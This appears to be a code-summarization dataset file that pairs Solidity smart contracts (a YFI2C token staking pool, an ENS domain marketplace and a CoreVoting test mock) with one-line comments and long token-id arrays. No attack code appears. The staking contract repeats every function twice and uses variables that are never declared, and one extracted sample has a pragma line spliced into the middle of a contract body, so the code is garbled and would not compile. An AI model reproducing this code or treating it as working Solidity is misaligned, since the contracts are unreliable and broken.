contract YFI2CStakingTwoPercent is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); address public constant tokenAddress = 0xE93dEc6c98C55909F74cC9A930B71F1a3535EF13; uint public constant rewardRate = 73000; uint public constant stakingFeeRate = 150; uint public constant unstakingFeeRate = 50; uint public constant cliffTime = 720 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress, "Cannot Transfer Out YFI2C!"); Token(_tokenAddr).transfer(_to, _amount); } }
11,217,119
[ 1, 61, 1653, 22, 39, 1147, 6835, 1758, 19890, 4993, 2371, 5082, 18, 713, 9, 1534, 3286, 384, 6159, 14036, 404, 18, 25, 738, 640, 334, 6159, 14036, 374, 18, 25, 738, 640, 334, 6159, 3323, 1839, 2371, 3462, 7507, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1624, 1653, 22, 39, 510, 6159, 11710, 8410, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 377, 203, 565, 871, 534, 359, 14727, 1429, 4193, 12, 2867, 10438, 16, 2254, 3844, 1769, 203, 377, 203, 565, 1758, 1071, 5381, 1147, 1887, 273, 374, 17432, 11180, 72, 23057, 26, 71, 10689, 39, 2539, 29, 5908, 42, 5608, 71, 39, 29, 37, 29, 5082, 38, 11212, 42, 21, 69, 4763, 4763, 26897, 3437, 31, 203, 377, 203, 565, 2254, 1071, 5381, 19890, 4727, 273, 26103, 3784, 31, 203, 377, 203, 565, 2254, 1071, 5381, 384, 6159, 14667, 4727, 273, 18478, 31, 203, 377, 203, 565, 2254, 1071, 5381, 640, 334, 6159, 14667, 4727, 273, 6437, 31, 203, 377, 203, 565, 2254, 1071, 5381, 927, 3048, 950, 273, 2371, 3462, 7507, 31, 203, 377, 203, 565, 2254, 1071, 2078, 9762, 329, 17631, 14727, 273, 374, 31, 203, 377, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 366, 4665, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 443, 1724, 329, 5157, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 384, 6159, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 1142, 9762, 329, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 2078, 41, 1303, 329, 5157, 31, 203, 377, 203, 565, 445, 1089, 3032, 12, 2867, 2236, 13, 3238, 288, 203, 3639, 2254, 4634, 7244, 87, 2 ]
pragma solidity ^0.4.11; import "../Kiosk.sol"; import "./ENS/AbstractENS.sol"; import "../StandardMarket.sol"; import "../utils/strings.sol"; import "../utils/StringUtils.sol"; contract ENSMarket is StandardMarket { using strings for *; using StringUtils for *; string public name = "ENS Market"; // ENS Registry AbstractENS public ens; struct Domain { address seller; string name; bytes32 node; uint256 price; bool available; } // DIN => ENS node mapping(uint256 => Domain) public domains; // Buyer => ENS node mapping(address => bytes32) public expected; // Seller => Aggregate value of sales (in KMT) mapping(address => uint256) public pendingWithdrawals; enum Errors { INCORRECT_OWNER, INCORRECT_TLD, INCORRECT_NAMEHASH, DOMAIN_NOT_TRANSFERRED } event LogError(uint8 indexed errorId); // Constructor function ENSMarket(Kiosk _kiosk, AbstractENS _ens) StandardMarket(_kiosk) { ens = _ens; } function isFulfilled(uint256 orderID) constant returns (bool) { address buyer = orderStore.buyer(orderID); bytes32 node = expected[buyer]; // Check that buyer is the owner of the domain. return (ens.owner(node) == buyer); } function buy( uint256 DIN, uint256 quantity, uint256 value, address buyer, bool approved ) only_buy returns (bool) { // Expect the buyer to own the domain at the end of the transaction. expected[buyer] = domains[DIN].node; // Each DIN represents a single domain. require(quantity == 1); // Verify that the price is correct, unless the Buy contract pre-approves the transaction. if (approved == false) { require(value == domains[DIN].price); } // Give ownership of the node to the buyer. ens.setOwner(domains[DIN].node, buyer); // Update pending withdrawals for the seller. address seller = domains[DIN].seller; pendingWithdrawals[seller] += value; // Remove domain from storage. delete domains[DIN]; } function withdraw() { uint256 amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; KMT.transfer(msg.sender, amount); } function nameOf(uint256 DIN) constant returns (string) { return domains[DIN].name; } function metadata(uint256 DIN) constant returns (bytes32) { return domains[DIN].node; } function totalPrice(uint256 DIN, uint256 quantity, address buyer) constant returns (uint256) { require (quantity == 1); require (domains[DIN].available == true); // Let a seller remove a domain from the market for free. if (msg.sender == domains[DIN].seller) { return 0; } return domains[DIN].price; } function availableForSale(uint256 DIN, uint256 quantity, address buyer) constant returns (bool) { if (quantity != 1) { return false; } // The owner of the domain must be able to transfer it during a purchase. // This means the market must hold the domain for the transaction to succeed. bytes32 node = domains[DIN].node; // Verify that ENSMarket is the owner of the domain. if (ens.owner(node) != address(this)) { return false; } return domains[DIN].available; } function setDomain( uint256 DIN, string name, bytes32 node, uint256 price, bool available ) only_owner(DIN) { if (ens.owner(node) != msg.sender) { LogError(uint8(Errors.INCORRECT_OWNER)); return; } if (node != namehash(name)) { LogError(uint8(Errors.INCORRECT_NAMEHASH)); return; } // https://github.com/Arachnid/solidity-stringutils#extracting-the-middle-part-of-a-string var s = name.toSlice(); strings.slice memory part; string memory domain = s.split(".".toSlice(), part).toString(); string memory tld = s.split(".".toSlice(), part).toString(); if (tld.equal("eth") == false) { LogError(uint8(Errors.INCORRECT_TLD)); return; } domains[DIN].seller = msg.sender; domains[DIN].name = name; domains[DIN].node = node; domains[DIN].price = price; domains[DIN].available = available; } function getNode(uint256 DIN) constant returns (bytes32) { return domains[DIN].node; } function setPrice(uint256 DIN, uint256 price) only_owner(DIN) { domains[DIN].price = price; } function setAvailable(uint256 DIN, bool available) only_owner(DIN) { domains[DIN].available = available; } function pendingWihdrawal(address seller) constant returns (uint256) { return pendingWithdrawals[seller]; } function namehash(string name) constant returns(bytes32) { var s = name.toSlice(); if (s.len() == 0) { return bytes32(0); } var label = s.split(".".toSlice()).toString(); return keccak256(namehash(s.toString()), keccak256(label)); } }
Give ownership of the node to the buyer.
ens.setOwner(domains[DIN].node, buyer);
984,353
[ 1, 43, 688, 23178, 434, 326, 756, 358, 326, 27037, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 773, 18, 542, 5541, 12, 14180, 63, 21329, 8009, 2159, 16, 27037, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "../CoreVoting.sol"; contract TestCoreVoting is CoreVoting { // public dummy value used to test calldata calls uint256 public dummyValue; constructor( address _timelock, uint256 _baseQuorum, uint256 _minProposalPower, address _gsc, address[] memory votingVaults ) CoreVoting( _timelock, _baseQuorum, _minProposalPower, _gsc, votingVaults ) {} function getProposalData(uint256 _proposalID) public view returns ( bytes32, uint128, uint128, uint128, uint128[3] memory ) { return ( proposals[_proposalID].proposalHash, proposals[_proposalID].created, proposals[_proposalID].unlock, proposals[_proposalID].quorum, proposals[_proposalID].votingPower ); } function updateDummy(uint256 _newValue) public { dummyValue = _newValue; } function getVaultStatus(address _vault) public view returns (bool) { return approvedVaults[_vault]; } function getCustomQuorum(address _target, bytes4 _selector) public view returns (uint256) { return quorums(_target, _selector); } }
public dummy value used to test calldata calls
contract TestCoreVoting is CoreVoting { uint256 public dummyValue; constructor( address _timelock, uint256 _baseQuorum, uint256 _minProposalPower, address _gsc, address[] memory votingVaults ) CoreVoting( _timelock, _baseQuorum, _minProposalPower, _gsc, votingVaults ) function getProposalData(uint256 _proposalID) public view returns ( bytes32, uint128, uint128, uint128, uint128[3] memory ) pragma solidity ^0.8.0; {} { return ( proposals[_proposalID].proposalHash, proposals[_proposalID].created, proposals[_proposalID].unlock, proposals[_proposalID].quorum, proposals[_proposalID].votingPower ); } function updateDummy(uint256 _newValue) public { dummyValue = _newValue; } function getVaultStatus(address _vault) public view returns (bool) { return approvedVaults[_vault]; } function getCustomQuorum(address _target, bytes4 _selector) public view returns (uint256) { return quorums(_target, _selector); } }
898,839
[ 1, 482, 9609, 460, 1399, 358, 1842, 745, 892, 4097, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7766, 4670, 58, 17128, 353, 31196, 17128, 288, 203, 565, 2254, 5034, 1071, 9609, 620, 31, 203, 203, 565, 3885, 12, 203, 3639, 1758, 389, 8584, 292, 975, 16, 203, 3639, 2254, 5034, 389, 1969, 31488, 16, 203, 3639, 2254, 5034, 389, 1154, 14592, 13788, 16, 203, 3639, 1758, 389, 564, 71, 16, 203, 3639, 1758, 8526, 3778, 331, 17128, 12003, 87, 203, 565, 262, 203, 3639, 31196, 17128, 12, 203, 5411, 389, 8584, 292, 975, 16, 203, 5411, 389, 1969, 31488, 16, 203, 5411, 389, 1154, 14592, 13788, 16, 203, 5411, 389, 564, 71, 16, 203, 5411, 331, 17128, 12003, 87, 203, 3639, 262, 203, 203, 565, 445, 3570, 8016, 751, 12, 11890, 5034, 389, 685, 8016, 734, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 203, 5411, 1731, 1578, 16, 203, 5411, 2254, 10392, 16, 203, 5411, 2254, 10392, 16, 203, 5411, 2254, 10392, 16, 203, 5411, 2254, 10392, 63, 23, 65, 3778, 203, 3639, 262, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 2618, 203, 565, 288, 203, 3639, 327, 261, 203, 5411, 450, 22536, 63, 67, 685, 8016, 734, 8009, 685, 8016, 2310, 16, 203, 5411, 450, 22536, 63, 67, 685, 8016, 734, 8009, 4824, 16, 203, 5411, 450, 22536, 63, 67, 685, 8016, 734, 8009, 26226, 16, 203, 5411, 450, 22536, 63, 67, 685, 8016, 734, 8009, 372, 16105, 16, 203, 5411, 450, 22536, 63, 67, 685, 8016, 734, 8009, 90, 17128, 13788, 203, 3639, 11272, 203, 565, 289, 2 ]
pragma solidity ^0.5.3; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title A mock Attestations for testing. */ contract MockAttestations { enum AttestationStatus { None, Incomplete, Complete } struct Attestation { AttestationStatus status; uint128 time; } struct Attestations { uint64 completed; address[] issuers; mapping(address => Attestation) issuedAttestations; } struct IdentifierState { address[] accounts; mapping(address => Attestations) attestations; } mapping(bytes32 => IdentifierState) identifiers; function complete(bytes32 identifier, uint8, bytes32, bytes32) external { identifiers[identifier].attestations[msg.sender].completed++; } function getAttestationStats(bytes32 identifier, address account) external view returns (uint64, uint64) { return ( identifiers[identifier].attestations[account].completed, uint64(identifiers[identifier].attestations[account].issuers.length) ); } }
* @title A mock Attestations for testing./
contract MockAttestations { enum AttestationStatus { None, Incomplete, Complete } struct Attestation { AttestationStatus status; uint128 time; } struct Attestations { uint64 completed; address[] issuers; mapping(address => Attestation) issuedAttestations; } struct IdentifierState { address[] accounts; mapping(address => Attestations) attestations; } mapping(bytes32 => IdentifierState) identifiers; function complete(bytes32 identifier, uint8, bytes32, bytes32) external { identifiers[identifier].attestations[msg.sender].completed++; } function getAttestationStats(bytes32 identifier, address account) external view returns (uint64, uint64) { return ( identifiers[identifier].attestations[account].completed, uint64(identifiers[identifier].attestations[account].issuers.length) ); } }
7,291,175
[ 1, 37, 5416, 6020, 395, 1012, 364, 7769, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7867, 3075, 395, 1012, 288, 203, 203, 225, 2792, 6020, 395, 367, 1482, 288, 599, 16, 657, 6226, 16, 14575, 289, 203, 225, 1958, 6020, 395, 367, 288, 203, 565, 6020, 395, 367, 1482, 1267, 31, 203, 565, 2254, 10392, 813, 31, 203, 225, 289, 203, 203, 225, 1958, 6020, 395, 1012, 288, 203, 565, 2254, 1105, 5951, 31, 203, 565, 1758, 8526, 3385, 27307, 31, 203, 565, 2874, 12, 2867, 516, 6020, 395, 367, 13, 16865, 3075, 395, 1012, 31, 203, 225, 289, 203, 203, 225, 1958, 10333, 1119, 288, 203, 565, 1758, 8526, 9484, 31, 203, 565, 2874, 12, 2867, 516, 6020, 395, 1012, 13, 2403, 395, 1012, 31, 203, 225, 289, 203, 203, 225, 2874, 12, 3890, 1578, 516, 10333, 1119, 13, 9863, 31, 203, 203, 225, 445, 3912, 12, 3890, 1578, 2756, 16, 2254, 28, 16, 1731, 1578, 16, 1731, 1578, 13, 3903, 288, 203, 565, 9863, 63, 5644, 8009, 270, 3813, 1012, 63, 3576, 18, 15330, 8009, 13615, 9904, 31, 203, 225, 289, 203, 203, 225, 445, 336, 3075, 395, 367, 4195, 12, 3890, 1578, 2756, 16, 1758, 2236, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 1135, 261, 11890, 1105, 16, 2254, 1105, 13, 203, 225, 288, 203, 565, 327, 261, 203, 1377, 9863, 63, 5644, 8009, 270, 3813, 1012, 63, 4631, 8009, 13615, 16, 203, 1377, 2254, 1105, 12, 20218, 63, 5644, 8009, 270, 3813, 1012, 63, 4631, 8009, 1054, 27307, 18, 2469, 13, 203, 565, 11272, 203, 225, 289, 203, 97, 203, 2, -100, -100 ]